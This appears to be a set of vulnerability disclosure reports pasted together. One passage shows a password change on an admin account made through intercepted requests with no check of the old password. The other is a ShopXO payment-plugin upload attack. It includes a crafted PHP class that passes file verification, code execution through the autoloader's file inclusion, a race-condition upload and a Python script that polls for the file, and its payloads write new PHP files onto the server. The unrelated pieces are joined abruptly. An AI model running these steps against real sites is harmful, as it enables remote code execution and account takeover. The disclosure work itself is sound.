Can you add a `SECURITY.md` file with an e-mail to your repository, so that our system can send you the vulnerability details? GitHub suggests that a [security policy](https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository) is the best way to make sure security issues are responsibly disclosed.
Once you've done that, you should receive an e-mail within the next hour with more info.

1.Access with test account http://localhost:8080/tms/admin
2.In order to verify the authenticity of the ultra vires vulnerability, I have prepared a system administrator account. Account number: admin, default password: 88888888.
Now I log in to the test account to try to change the information and password of the admin account.
3.Click the user icon in the upper right corner and select Modify in the drop-down box to open the modify personal information pop-up window.
4.Because there is no need to verify the user's original password, you can set the new password directly. Here, the password is set as change123 in the form submission, and other information will not be changed. Open the burpsuite packet capturing agent - > click the confirm submit button.
5.Modify the packet capture data, as shown in the following figure.
6.Click forwad to finish the modification.
The information of viewing admin has changed.Vulnerability recurrence completed.

] | When uploading payment plug-ins, attackers can bypass file verification and upload malicious php files by constructing the code of the php file in the zip compression package. Even uploading the php file without constructing the code will trigger the file containment vulnerability or upload files through competitive upload
In the Upload method in the application\service\PaymentService.php file, the file_put_contents function parameter is controllable
But later call GetPaymentConfig method to do file verification, if the file verification is not passed, the file will be deleted
In the GetPaymentConfig method, the class_exists function checks whether the class is defined, the class uses the fully qualified name, and then it checks whether there are three methods defined in the class
According to this, the attacker only needs to define a class in the PHP file, define the namespace, and define the three methods mentioned above in order to pass the verification. The complete code is as follows:
```
<?php
namespace payment;
class a{
public function __construct($params = [])
{
phpinfo();
}
public function Config()
{
}
public function Pay()
{
}
public function Respond()
{
}
}
$b=new a();
?>
```
Finally, the method is called in application\admin\controller\Payment.php
After logging in to the background, upload the zip package containing a.php at the site management -> payment method -> upload
Visit extend/payment/a.php
Not by constructing code:
The first is file inclusion. The class_exists function will call the autoload function by default. The definition of the autoload function is found in /thinkphp/library/think/Loader.php
findFile is the function of thinkphp to find files. It is mainly loaded through psr-4 and classmap. The fully qualified name of the class we passed in is returned by the findFile function and finally spliced into the complete file path.
Finally, the autoload function calls the __include_file function, and this function directly performs the file include operation
At this point, we have not entered the following file deletion operation but included the file, and the code will also be executed.
Upload the zip archive containing the php file at the same location, the code content is:
`<?php $f = '1.php'; $shell = '<?php phpinfo(); ?>'; file_put_contents($f,$shell); ?>`
Although the upload failed message is returned after uploading, the code has been included and executed
The file is created in 1.php under the root directory of shopxo installation, visit 1.php
There are also problems with uploading files and then deleting files. If there is no file included here, there is another way to upload files is competitive upload, because there is a time difference from file verification to file deletion, and you can keep uploading while keeping access.
I use burpsuite's intruder module to keep sending packages and python scripts to keep accessing
The Python script is as follows:
```
import requests
url='http://url/extend/payment/2.php'
while True:
s=requests.get(url)
if 'phpinfo' in s.text:
print(s.text)
exit()
```
Upload the php file in the compressed package as follows:
```
<?php
phpinfo();
$f = '1.php';
$shell = '<?php phpinfo(); ?>';
file_put_contents($f,$shell);
?>
```
The generated php file is in the extend\payment directory
Visit extend\payment\1.php
